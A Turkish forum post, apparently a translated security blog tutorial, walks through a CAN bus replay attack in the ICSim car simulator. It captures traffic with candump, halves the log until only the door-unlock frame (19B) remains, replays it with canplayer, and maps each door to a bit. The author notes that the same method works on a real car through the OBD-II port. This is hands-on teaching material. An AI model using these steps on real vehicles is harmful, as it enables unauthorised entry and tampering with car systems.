Araba Hacklemek

ankamurat

Katılımcı Üye
24 Eyl 2022
453
186
┌─(root@ankamurat)
6t3q7nb.png

Selam millet! Pek çok kişinin bilmediği rastgele bir bilgisayar korsanlığı konusu hakkında başka bir blog gönderisi paylaşmaktan mutluluk duyuyorum: Araba Hacking! Bu maddenin geçerliliğine inanmakla birlikte, araçlardaki tek saldırı vektörü olmadığını baştan belirtmek isterim. Umarım bu, cihazların ve sistemlerin nasıl analiz edilebileceği ve bu denetimlerin bir saldırgan tarafından nasıl kullanılabileceği ve hatta kötüye kullanılabileceği konusunda bazı içgörüler elde etmek için yaratıcı bir şekilde düşünmenin başka bir yolu olarak hizmet eder.

Bilgisayar korsanlığının saldırı açısından geldiği genel nüansına rağmen, bilgisayar korsanlığı çabalarından elde edilebilecek faydalar vardır. Araçlar söz konusu olduğunda, bu, bir araçtaki belirli özelliklerin kilidinin açılması, daha önce var olan limitlerin kaldırılması veya olumlu sonuç verebilecek yeni teknolojinin yaratılmasına yardımcı olma şeklinde olabilir (bazı araba sigorta şirketlerinin sağladığı cihazlar gibi) bir müşteri 'iyi sürücü' indirimi alabilir). Bu fikirlerden burada bahsedilirken, o kadar derine inmeyeceğiz.

Ayrıca, bu makalede belirtilen kavramları denerseniz ve bunun olumsuz bir sonucu olursa, yazar veya Offensive Security'nin sorumlu tutulmayacağı söylenmelidir. Bir aracı hacklerken risk olabilir. Fiziksel bir aracı hacklemeye karar verirseniz, bunun riski size aittir. Neyse ki, bu makalede egzersiz fırsatları sağlamak ve uygulamalı deneyim kazanmak için sanal bir seçenek ele alınacaktır.

Bununla birlikte, bir CAN veri yolunun ne olduğunu açıklayarak başlayalım!

CAN veriyolu nedir?

CAN veri yolu (Denetleyici Alan Ağı veri yolu), bir aracın bileşenleri ile iletişim kurduğu merkezi bir ağdır. Bunu aracın elektrik sinyalleri ile çalışan birçok fonksiyonu olması açısından düşünebiliriz. Arabada kapı kilitleri, bir hız göstergesi, bir gaz göstergesi, frenler için kontroller, gaz pedalı için kontroller ve çok daha fazlası var. Bu cihazların çoğu, bu ağ üzerinden iletişim kurar.

OBD-II

OBD-II (Yerleşik teşhis 2) konnektörü, araç kodlarının kolayca teşhis edilmesini sağlayan araç üzerindeki bir bağlantı noktasıdır. Çoğu zaman araçlarımızı bir tamirciye getirdiğimizde aracın gönderdiği hata kodunu almak için bu porta bir bilgisayar cihazı takarlar. Bu, kontrol motoru ışığını açmış olabilecek sorunlar veya hatta bir göstergeyle sonuçlanmayan sorunlar için çok daha hızlı çözümler sağlar.

Bu bağlantı noktalarına erişim genellikle çok kolaydır. Normalde pedalların yanında ön panelin altında, direksiyon kolonunun arkasında ve hatta yolcu tarafında ön panelin altında bulunurlar. İşte OBD-II bağlantı noktasındaki bir fişin resmi:

pscogal.png

Bu porta fiziksel bir bağlantı sağlanması açısından CANtact gibi bir cihaz satın alınabilir hatta yapılabilir . Fiziksel cihazın kullanılması bu makalenin kapsamı dışında kalacaktır, ancak bu makalede ele alınan hack, ister fiziksel bir araçta ister sanal simülatörde yapılsın aynıdır. CAN veriyolunda iletişim kurmak için erişim noktası OBD-II bağlantı noktası olacaktır.

CAN Veri Yolu Ağı Temelleri

Yerel CAN veri yolu ağında, paketler bir hub gibi gönderilir ve alınır. Bir merkeze aşina olmayanlarınız için, veri paketleri tüm cihazlar tarafından görülebilir. Bu konudaki yabani otlara fazla girmek istemiyorum, ancak anahtarların veri paketlerinin bir hedeften diğerine paylaşımını kontrol ettiğini, oysa bir hub'ın paketleri o ağ cihazındaki herkese gönderdiğini bilin. Hub'lar gürültülüdür ve o ağa kulak misafiri olma özelliğinden dolayı güvensiz bir ağ cihazı olarak kabul edilir.

Bununla birlikte, bu makalenin esas olarak odaklanacağı kapı kilitlerini ele alalım. Kapımızdaki kilit düğmesine basarsak, CAN bus üzerinden ağdaki her cihaza bir elektrik sinyali gönderilir ve kapılar veri paketini yorumlar. Veri paketinde bir komut olacaktır: kilitle veya kilidini aç. Veri paketini alan kapılar, bu talimatı alacak ve veri paketindeki yönergeyi uygulayacaktır.

Araçta bulunan birçok cihaz bu şekilde çalışmakta, burada bir aksiyon tetiklenmekte, ağ üzerinden veri gönderilmekte ve veri paketinin tanımladığı ile ilgili cihaz harekete geçmektedir. Gaz pedalına basmak, ağda gaz akışının artmasını söyleyen veri paketlerinin gönderilmesine ve dolayısıyla arabanın daha hızlı gitmesine neden olur. Bu da, hız göstergesinin aracın gittiği uygun hızı yansıtması için yükselmesine neden olabilir. Hız göstergesinin yükselme miktarı, ağda gönderilen ve gaz pedalına ne kadar basıldığına bağlı olarak değişen talimatlara bağlı olacaktır.

Ağda gönderilen paketler iki bölümden oluşur: tanımlayıcı ve veriler. Tanımlayıcı, cihazın araçtaki temsilidir. Veri alanı, söz konusu cihazla tamamlanması gereken talimatı temsil eder. Aşağıdaki örneği ele alalım:

120 # F289632003200320

Paketin başlangıç bölümü tanımlayıcıdır. Bu durumda tanımlayıcı 120'dir. Paketin #'den sonra kalan kısmı veri alanıdır.

Örnek olarak bu tanımlayıcıyı ve veri segmentini kullanıyor olsak da, tanımlayıcının yıl, marka ve model olarak farklı araçlar arasında aynı olmayacağını bilmek önemlidir. 120'nin tanımlayıcısı, 2019 Honda Civic'teki gaz pedalı (gaz pedalı) olabilir, ancak 2022 Toyota Sienna'daki camlar olabilir. Bununla, tanımlayıcı etiketi olan bir aracın cihazlarını tanımlayabiliriz, ancak yalnızca aynı yıl/marka/modele sahip diğer araçlar, bu tanımlayıcı etiket değeriyle kontrol edilen aynı cihaza sahip olacaktır.

CAN veri yolu hakkında bilinmesi gereken son şey, paketlerin bu ağ üzerinden sürekli olarak gönderildiğidir, araçta herhangi bir güç olduğu sürece (yani motorun çalıştırılmasına gerek yoktur), ağ aktif olacaktır.

Hack nedir?

Bu durumda hack, CAN veri yolu ağına yapılan bir tekrar saldırısıdır. Ağda gönderilen paketleri dinleyebilir, bir eylemi manuel olarak tamamlayabilir (bizim durumumuzda kapıları kilitleme/kilit açma) ve aynı eylemin gerçekleşmesini sağlamak için paketleri ağa geri oynatabiliriz - kilitleme/kilit açma düğmelerine rağmen basılıyor.

Bu bilgisayar korsanlığı alıştırmasını tamamlamadan önce, dahili bir sanal simülatörde bunu yapmak için gerekli araçları nasıl kuracağımıza bir göz atalım.

Araçları Ayarlama

Aşağıdaki adımlar, VirtualBox üzerinde yeni bir Kali 2022.2 kurulumunda tamamlanmıştır. Bu makaleyi idare edilebilir bir uzunlukta tutmak için, bu VirtualBox veya Kali kurulumları ele alınmayacaktır. Kali-tweaks yardımcı programı, varsayılan iki satırlık çıktıyı tek bir satıra değiştirmek için de çalıştırıldı . Bu süreçte kuracağımız üç araç var:

  • ICSim (Enstrüman Kümesi Simülatörü)
  • Soketcand
  • Kayık
Öncelikle Kali makinemize önkoşul paketleri yükleyelim
Kod:
kali@kali:~$ sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf

[sudo] password for kali:

…

Do you want to continue? [Y/n] Y
…
Çalışmak için bir “Car_Hacking” dizini oluşturalım ve o dizine girelim.
Kod:
kali@kali:~$ mkdir Documents/Car_Hacking
kali@kali:~/Documents/Car_Hacking$ cd Documents/Car_Hacking
Yeni oluşturulan dizinin içinde ICSim Git deposunu klonlayalım .
Kod:
kali@kali:~/Documents/Car_Hacking$ git clone https://github.com/zombieCraig/ICSim.git
Cloning into 'ICSim'...
remote: Enumerating objects: 135, done.
remote: Counting objects: 100% (5/5), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 135 (delta 1), reused 3 (delta 1), pack-reused 130
Receiving objects: 100% (135/135), 1.09 MiB | 2.68 MiB/s, done.
Resolving deltas: 100% (68/68), done.
Mevcut çalışma dizinimize klonlanmış ICSim deposu ile ICSim dizinine girelim ve gerekli ikiliyi yapmak için kodu derleyelim.
Kod:
kali@kali:~/Documents/Car_Hacking$ cd ICSim
kali@kali:~/Documents/Car_Hacking/ICSim$ sudo make
gcc -I/usr/include/SDL2   -c -o icsim.o icsim.c
gcc -I/usr/include/SDL2 -o icsim icsim.c lib.o -lSDL2 -lSDL2_image
gcc -I/usr/include/SDL2   -c -o controls.o controls.c
gcc -I/usr/include/SDL2 -o controls controls.c -lSDL2 -lSDL2_image
Car_Hacking dizinine geri dönelim ve socketcand deposunu da kopyalayalım .
Kod:
kali@kali:~/Documents/Car_Hacking/ICSim$ cd ..

kali@kali:~/Documents/Car_Hacking$ git clone https://github.com/linux-can/socketcand.git
Cloning into 'socketcand'...
remote: Enumerating objects: 923, done.
remote: Total 923 (delta 0), reused 0 (delta 0), pack-reused 923
Receiving objects: 100% (923/923), 273.95 KiB | 931.00 KiB/s, done.
Resolving deltas: 100% (547/547), done.
Yerine klonlanan socketcand deposu ile paketi yapılandıralım, derleyelim ve yükleyelim. Eksik bir dosya var, bu yüzden o dosyayı yerine kopyalayarak başlamamız gerekecek.
Kod:
kali@kali:~/Documents/Car_Hacking$ cd socketcand
kali@kali:~/Documents/Car_Hacking/socketcand$ wget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in
https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3773 (3.7K) [text/plain]
Saving to: ‘config.h.in’
config.h.in         100%[================>]   3.68K  --.-KB/s    in 0s  
2022-06-06 10:52:38 (80.8 MB/s) - ‘config.h.in’ saved [3773/3773]
Başlık dosyası yerindeyken paketi yapılandıralım, derleyelim ve yükleyelim.
Kod:
kali@kali:~/Documents/Car_Hacking/socketcand$ autoconf
configure.ac:6: warning: The macro `AC_CONFIG_HEADER' is obsolete.
configure.ac:6: You should run autoupdate.
./lib/autoconf/status.m4:719: AC_CONFIG_HEADER is expanded from...
configure.ac:6: the top level
kali@kali:~/Documents/Car_Hacking/socketcand$ ./configure
checking for gcc... gcc
checking whether the C compiler works... yes
…
kali@kali:~/Documents/Car_Hacking/socketcand$ make clean              
rm -f socketcand socketcandcl *.o
kali@kali:~/Documents/Car_Hacking/socketcand$ make  
gcc -Wall -Wno-parentheses -DPF_CAN=29 -DAF_CAN=PF_CAN -DHAVE_CONFIG_H   -I . -I ./include -o socketcand ./socketcand.c ./statistics.c ./beacon.c ./state_bcm.c ./state_raw.c ./state_isotp.c ./state_control.c -lpthread
gcc -Wall -Wno-parentheses -DPF_CAN=29 -DAF_CAN=PF_CAN -DHAVE_CONFIG_H   -I . -I ./include -o socketcandcl ./socketcandcl.c
kali@kali:~/Documents/Car_Hacking/socketcand$ sudo make install                                                  
mkdir -p /usr/local/bin
cp ./socketcand /usr/local/bin/
cp ./socketcandcl /usr/local/bin/
mkdir -p /usr/local/share/man
cp ./socketcand.1 /usr/local/share/man/
mkdir -p /etc/
install -m 0644 ./etc/socketcand.conf /etc/
if [ yes = yes ]; then mkdir -p /etc/init.d; install --mode=755 ./init.d/socketcand /etc/init.d/socketcand; fi
if [ no = yes ]; then install --mode=755 ./rc.d/socketcand /etc/rc.d/socketcand; fi
Socketcand yüklendikten sonra, "Car_Hacking" dizinine geri dönelim ve Kayak Git deposunu klonlayalım
Kod:
kali@kali:~/Documents/Car_Hacking/socketcand$ cd ..

kali@kali:~/Documents/Car_Hacking/$ git clone https://github.com/dschanoeh/Kayak.git
Cloning into 'Kayak'...
remote: Enumerating objects: 6298, done.
remote: Total 6298 (delta 0), reused 0 (delta 0), pack-reused 6298
Receiving objects: 100% (6298/6298), 2.90 MiB | 4.58 MiB/s, done.
Resolving deltas: 100% (1927/1927), done.
Artık Kayak dizinine geçebilir ve Maven ile paketi kurabiliriz.
Kod:
kali@kali:~/Documents/Car_Hacking/Kayak$ cd Kayak
kali@kali:~/Documents/Car_Hacking/Kayak$ mvn clean package
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[INFO] Scanning for projects...
...

Hack'i Yürütme

Bu işlem için aynı anda birden fazla terminal sekmesi ile çalışmamız gerekecek. Bu işlevlerin her biri için ayrı bir sekmeye ihtiyacımız olacak:

  • Simülatörü çalıştır
  • Kontrolleri çalıştır
  • Veri paketlerini yakalayın ve yeniden oynatın
Simülatörü ilk sekmede başlatalım. Bunun ilk adımı vcan (sanal CAN) arayüzünü kurmaktır. ICSim dizinine geçelim ve kurulum betiğini çalıştıralım.
Kod:
kali@kali:~/Documents/Car_Hacking/Kayak$ cd ../ICSim

kali@kali:~/Documents/Car_Hacking/ICSim$ ./setup_vcan.sh
[sudo] password for kali:
Arayüz kurulumu ile yeni oluşturulan arayüz üzerinde sanal simülatörü başlatabiliriz. Bu, oluşturduğumuz ilk vcan arayüzü olduğu için vcan0 olacaktır.
Kod:
kali@kali:~/Documents/Car_Hacking/ICSim$ ./icsim vcan0  
Using CAN interface vcan0
Terminalde ikinci bir sekme açıp kontrollere başlayalım.
Kod:
kali@kali:~/Documents/Car_Hacking/ICSim$ ./controls vcan0
 Warning: No joysticks connected
Hangi sekmenin hangi işleve gittiğini takip etmek için terminal oturumu sekmelerini yeniden adlandırdım ve ICSim uygulaması açıkken ekran şimdi böyle görünüyor.
pcq7mtb.png

İstesek bilgisayara bir kumanda bağlayıp o kumandayı araç komutlarını değiştirmek için kullanabiliriz. Bu makale için, simülatörü manipüle etmek için klavye tuşlarını kullanacağız.
Bu, kontrollere ve bunların alet kümesi simülatörünü nasıl etkilediğine alışmak için iyi bir zaman olacaktır. CANBus Kontrol Paneli penceresi aktifken sanal aracımızı manipüle etmeye başlayabiliriz. Örneğin SOL ok tuşunu basılı tutarsak sola dönüş sinyalleri yanıp sönecektir. YUKARI oka basarsak , aracın hızlandığını simgeleyen hız göstergesi artacaktır. Yukarıdaki resimde tüm kapılar kilitli. Sağ SHIFT+A|B|X|Y tuşlarına basarsak , her seferinde bir kapının kilidi açılır. Sol SHIFT tuşu, kapı düğmelerinden herhangi birine basıldığında kapıları tekrar kilitleyecektir. Sol SHIFT'e ve ardından Sağ SHIFT'e basarsak, tüm kapıların kilidi açılır.

Bir kapının kilidi zaten açılmışsa, kapı zaten kilitsiz durumda olduğundan IC Simülatör penceresi bir değişiklik göstermeyecektir. Şimdilik, aracın tüm kapılarının kilidini açmaya ve kilitlemeye odaklanalım. Tüm kapılar kilitliyken başlayarak, tüm kapıların kilidini açmak için Sola SHIFT'e ve ardından Sağa SHIFT'e basacağız. Ardından, tekrar kilitlemek için Sağ SHIFT'e ve ardından Sol SHIFT'e basacağız . Aşağıdaki resimler, ekranın nasıl görünmesi gerektiğini göstermektedir.
mtc8dvz.png
9nm0s82.png

Şimdi, veri paketi yakalama ve yeniden oynatma ile çalışmak için başka bir sekme başlatalım. Dizin yapımızı dağınık hale getirmemek için, içinde çalışacağımız bir Demo dizini oluşturacağız.
Kod:
kali@kali:~/Documents/Car_Hacking$ mkdir Demo
kali@kali:~/Documents/Car_Hacking$ cd Demo
Artık Demo'da olduğumuza göre, loglama için -l seçeneği ile candump yardımcı programını vcan arabiriminde çalıştıralım .
Hiçbir şey yapmadan bunu 5 saniye çalıştıracağız ve dinleyiciyi durdurmak için CTRL-C tuşlarına basacağız.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ candump vcan0 -l
Disabled standard output while logging.
Enabling Logfile 'candump-2022-06-06_141619.log'
^C
 kali@kali:~/Documents/Car_Hacking/Demo$ ls
candump-2022-06-06_141619.log
Hiçbir şey yapmamamızın ve yalnızca dinleyiciyi başlatıp durdurmaya odaklanmamızın nedeni, bir CAN veri yolu ağının ne kadar gürültülü olabileceğini göstermektir. Bir satır sayımı için kelime sayma komutunu ( wc ) çalıştıralım ve dinleyicimizin açık olduğu 5 saniyede kaç paket gönderildiğini gözlemleyelim.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ wc -l candump-2022-06-06_141619.log
13757 candump-2022-06-06_141619.log
Dinleyicinin 5 saniyesi içinde ağa 13.757 paket gönderildi. Henüz kontrolörle herhangi bir komut bile göndermedik!

Daha fazla ilerlemeden önce, oyun planımızı ortaya koyalım. Bu hack için, kapıları manipüle etmekten hangi tanımlayıcının sorumlu olduğunu belirlemek istiyoruz. Mümkün olduğunca çabuk, şu adımları uygulayacağız:
  1. vcan0 arabiriminde oturum açarak candump'ı başlatın
  2. CANbus Kontrol Paneli penceresini aktif hale getirin
  3. Tüm kapıların kilidini aç
  4. tüm kapıları kilitle
  5. Candump terminal penceresinde tıklayın
  6. Ağ yakalamayı durdurmak için CTRL-C'ye basın
Amacımız, günlük dosyasını olabildiğince küçük tutmak için yukarıdaki adımları olabildiğince çabuk tamamlamaktır. Dosyaları karıştırmamak için başlamadan önce önceki günlüğü de sileceğiz.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ rm candump-2022-06-06_141619.log
kali@kali:~/Documents/Car_Hacking/Demo$ candump vcan0 -l                
Disabled standard output while logging.
Enabling Logfile 'candump-2022-06-06_142359.log'
^C
Yukarıda listelenen adımlar tamamlandı ve terminal çıktısı yukarıda gösterildi. Yeni oluşturduğumuz log dosyasında satır sayısını göstermek için wc komutunu çalıştıralım
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ wc -l candump-2022-06-06_142359.log
9293 candump-2022-06-06_142359.log
Artık ağda gönderilen 9.293 paket içeren yeni bir günlük dosyamız var.

Şimdi bu günlük dosyasını ağa geri oynatmak ve IC Simulator penceresini izlemek için canplayer yardımcı programını kullanalım. Her şey yolunda giderse, kapıların kilidinin açılıp tekrar kilitlendiğini göreceğiz. -I (büyük harf) seçeneği ile log dosyamızı belirtebiliriz .
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I candump-2022-06-06_142359.log
Ne yazık ki, bir makale sonuçları paylaşmanın en kolay yolu değildir. Bu etkinliği yaparken, günlük dosyamızı yeniden oynatmak, sanal aracın kapılarının kilidinin açılmasına ve tekrar kilitlenmesine neden oldu.

Günlük tekrarının istek üzerine çoğaltmak istediğimiz eylemi gerçekleştirdiğini doğruladığımıza göre, kapı işlemlerinden hangi paketlerin sorumlu olduğunu bulma algoritmasına bakmamız gerekiyor. Aşağıdaki görüntü, Craig Smith tarafından yazılan “The Car Hacker's Handbook”un 77. sayfasından alınmıştır.
ddytwpx.png
Doğrulanmış günlük dosyası istediğimiz eylemi gerçekleştirirken, eylemin dosyanın neresinde gerçekleştiğine dair en iyi tahminde bulunabiliriz. Bu tahminle, dosyanın ilk yarısını veya son yarısını oynatmaya karar verebiliriz. Orijinal dosyayı ikiye böleceğiz ve canplayer yardımcı programı ile tekrar oynatacağız. Yeni dosyayı yeniden yürüttüğümüzde, IC Simulator penceresinde istenen eylemin gerçekleşip gerçekleşmediğini izleyeceğiz. Yeniden oynatılan dosya simülatörde etkiye neden oluyorsa, o dosyayı tekrar ikiye böleceğiz ve yarılardan birini yeniden oynatacağız. Simülatörde etkiye neden olmazsa, dosyanın diğer yarısını alabilir, tekrar oynatabilir ve eylemin dosyanın bu yarısında olduğunu doğrulayabiliriz.

Bu algoritmanın yeterince yinelenmesiyle, kapıların kilidini açmaktan sorumlu CAN paketini izole edebileceğiz. Ayrıca bu günlük dosyasını yarıya indirme sürecinde , dosyayı tekrar oynatmadan önce kapıları kilitlemek için CANbus Kontrol Paneli penceresindeki kontrolleri manuel olarak kullanmamız gerekecek bir noktaya geleceğiz . Unutmayın, kapılar zaten açık durumdaysa IC Simülatörü bir değişiklik göstermez.

-n seçeneğiyle head veya tail kullanabilir ve dosyanın yaklaşık yarısını yeniden oynatmak için alabiliriz. Her yinelemeyi açıklamadan, kapı kilidi açma CAN paketinin tanımlanmasına ulaşmak için komut çıktısını burada bulabilirsiniz:

Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 4600 candump-2022-06-06_142359.log > split1
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split1
kali@kali:~/Documents/Car_Hacking/Demo$ wc -l split1                    
4600 split1
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 2300 split1 > split2
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split2
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 1100 split2 > split3
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split3
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 500 split3 > split4
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split4    
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 200 split4 > split5
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split5    
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 200 split4 > split5
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split5    
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 100 split5 > split6
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split6
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 100 split5 > split6
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split6    
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 50 split6 > split7
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split7    
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 25 split7 > split8
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split8    
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 25 split7 > split8
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split8    
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 10 split8 > split9
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split9    
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock  
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 10 split8 > split9
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split9    
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 5 split9 > split10
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split10  
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 2 split10 > split11
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split11    
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 2 split10 > split11
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split11    
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock                                                                          
kali@kali:~/Documents/Car_Hacking/Demo$ cat split10
(1654550641.303029) vcan0 17C#0000000010000030
(1654550641.303046) vcan0 18E#00007A
(1654550641.304018) vcan0 19B#000000000000
(1654550641.305246) vcan0 294#040B0002CF5A002C
(1654550641.305260) vcan0 21E#03E8374522062F
Ağ trafiği tekrarının son kısmı, 5 satırın son 2'sini ve ardından 5 satırın ilk 2'sini aldı. Her iki bölünmüş dosya çalışmadan, bu dosyanın ortasının kapıların açılmasını kontrol eden paket olduğunu anlayabiliriz. Yine de bunu sadece bir kesintiye bırakmayalım. Bu satırı, “doorsUnlock” adlı kendi dosyasına kopyalayalım ve davranışı gözlemlemek için o dosyayı yeniden oynatalım.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550641.304018) vcan0 19B#000000000000' > doorsUnlock
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I doorsUnlock
4hr7p7j.png

IC Simülatöründeki kapılar bu tek CAN paketi ile açıldı. Bu paketin içeriğini inceleyelim.https://www.offensive-security.com/wp-content/uploads/2022/07/04.png

(1654550641.304018) VCAN0 19B # 000000000000

Paketin ilk vurgulanan bölümü tanımlayıcıdır. Bu, kapıların onaltılık 19B kodunun bir cihaz işaretleyicisi ile tanımlandığı anlamına gelir . Paketin vurgulanan ikinci kısmı verilerdir. Bu durumda, verilerin tümü 0'lara ayarlanmıştır , bu nedenle bu, kapı talimatı gönderme ihtiyacımız için pek yardımcı olmaz.

İşlemimizin başında da kapıyı kilitlemiş olmamızın nedeni budur. Bilinen kapı tanımlayıcısı ile, paketin veri kısmında hangi varyasyonların var olduğunu görmek için bu tanımlayıcı için orijinal paket yakalamayı arayabiliriz. 19B için orijinal dosyada grep komutunu çalıştıralım .
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ grep 19B candump-2022-06-06_142359.log (1654550641.304018) vcan0 19B #00000 0 000000  (1654550642.133853) vcan0 19B #00000 F 000000  (1654550642.366332) vcan0 244#000000019B
Tanımlayıcı aradığımız şeyle eşleşmediğinden, yukarıdaki çıktıda görüntülenen son satırı yok sayabiliriz. Kapı veri paketleri, üçüncü baytın ikinci yarımında değiştirilir. Data bölümünde F ile satırı alıp “doorsLock” adında yeni bir dosya oluşturalım. Daha sonra bunu tekrar oynatacağız ve bu paketin tüm kapıları kilitleyip kilitlemeyeceğini belirlemek için IC Simulator penceresini izleyeceğiz.

Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#00000F000000' > doorsLock
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I doorsLock
3yua3m2.png
Kapılar artık tek bir veri paketi ile kilitlenmiştir.

Verileri Daha Fazla Analiz Etme

CAN veri yolu aracılığıyla tüm araba kapılarının kilidinin açılmasını ve kilitlenmesini başarıyla yakaladık ve yeniden oynattık. Verileri daha fazla analiz edebilir ve kapıları hep ya da hiçten daha ayrıntılı bir şekilde kontrol edip edemeyeceğimizi görebiliriz. İki CAN paketini tekrar gözden geçirelim:

(1654550641.304018) VCAN0 19B # 000000000000

(1654550642.133853) VCAN0 19B # 00000 F 000000

Daha önce belirttiğimiz gibi, veriler üçüncü baytın ikinci yarım baytında değiştirilir. Bu küçük parçayı ikili formatına ayırırsak, onu şu şekilde gösterebiliriz:
8​
4​
2​
1​
ALTIGEN
0​
0​
0​
0​
0​
1​
1​
1​
1​
F​
Tüm kapıların kilidini açan paket, o kemirmeyi 0 olarak temsil eder . Tüm kapıları kilitleyen paket yarım baytlığı onaltılık F olarak temsil eder . Bunu ikiliye bölmek, 16 olası kapı kombinasyonu verir. 16 varyasyonun hepsini test etmek yerine, hangi bitin hangi kapıyı kontrol ettiğini manuel olarak belirlemeye çalışalım. Bunu yapmak için aşağıdaki organizasyonla 4 dosya daha oluşturmayı düşünebiliriz:
8​
4​
2​
1​
ALTIGEN​
KAPI​
1​
0​
0​
0​
8​
?​
0​
1​
0​
0​
4​
?​
0​
0​
1​
0​
2​
?​
0​
0​
0​
1​
1​
?​
Artık hangi bitin hangi kapıyı kontrol ettiğini belirlemek için 4 ayrı dosya oluşturabilir ve tekrar oynatabiliriz. Yeni veri paketleri şöyle görünecek ve her biri kendi dosyasında olacak:

(1654550641.304018) VCAN0 19B # 00000 8 000000

(1654550642.133853) VCAN0 19B # 00000 4 000000

(1654550641.304018) VCAN0 19B # 00000 2 000000

(1654550642.133853) VCAN0 19B # 00000 1 000000

Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000008000000' > doors8
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000004000000' > doors4
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000002000000' > doors2
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000001000000' > doors1
Bu gates # dosyalarının her birini yeniden oynatmak aşağıdaki bulgularla sonuçlanır:
8​
4​
2​
1​
ALTIGEN
KAPI​
1​
0​
0​
0​
8​
ARKA YOLCU​
0​
1​
0​
0​
4​
ARKA SÜRÜCÜLER​
0​
0​
1​
0​
2​
ÖN YOLCU​
0​
0​
0​
1​
1​
ÖN SÜRÜCÜLER​

q04pemf.png

Her kapının hareketini göz önüne alırsak, 1 kapıyı kilitlemek için ve 0 kapının kilidini açmak için harekettir. Hal böyle olunca kapılarımızı tanımladığımızda, tanımlanan kapıya kapıyı kilitleme talimatı verilirken, diğerlerine kilidi açma talimatı verildi. Artık araçtaki kapıları kilitlemek veya kilidini açmak için verilerde herhangi bir değişiklik yapabiliriz.

Bu makaleyi bitirmeden önce son bir örneğe bakalım. Aracın her iki arka kapısını da kilitlemek ve ön kapıların kilidini açmak istiyorsak, CAN paketindeki ikiliyi nasıl değiştirebiliriz?
ARKA YOLCU​
ARKA SÜRÜCÜ​
ÖN YOLCU​
ÖN SÜRÜCÜ​
8​
4​
2​
1​
ALTIGEN
?​
?​
?​
?​
?​
Kilit açma biti 0 ise ön kapıları 0 değeriyle doldurabiliriz . 1 değeri kapıların kilitlenmesine neden olur, bu nedenle sonuç şöyle olur:
ARKA YOLCU​
ARKA SÜRÜCÜ​
ÖN YOLCU​
ÖN SÜRÜCÜ​
8​
4​
2​
1​
ALTIGEN
1​
1​
0​
0​
C​
Bunun ikili sonucu 1(8) + 1(4) + 0(2) + 0(1) = 8+4+0+0 = 12 olacaktır. Onaltılık biçimde 12, C'dir . Bu, CAN paketimizi şu şekilde değiştirir:

(1654550641.304018) VCAN0 19B # 00000 C 000000

Bu paketle başka bir dosya oluşturalım ve buna “unlockFront” adını verelim. Bu paketi ağda tekrar oynayarak ve sonucu izleyerek test edebiliriz.
pfqf601.png

Her kapıyı başarılı bir şekilde kontrol ediyoruz ve istediğimiz kilitsiz/kilitli kapı kombinasyonunu yapabiliyoruz.

Daha fazla öğrenmek ister misiniz?

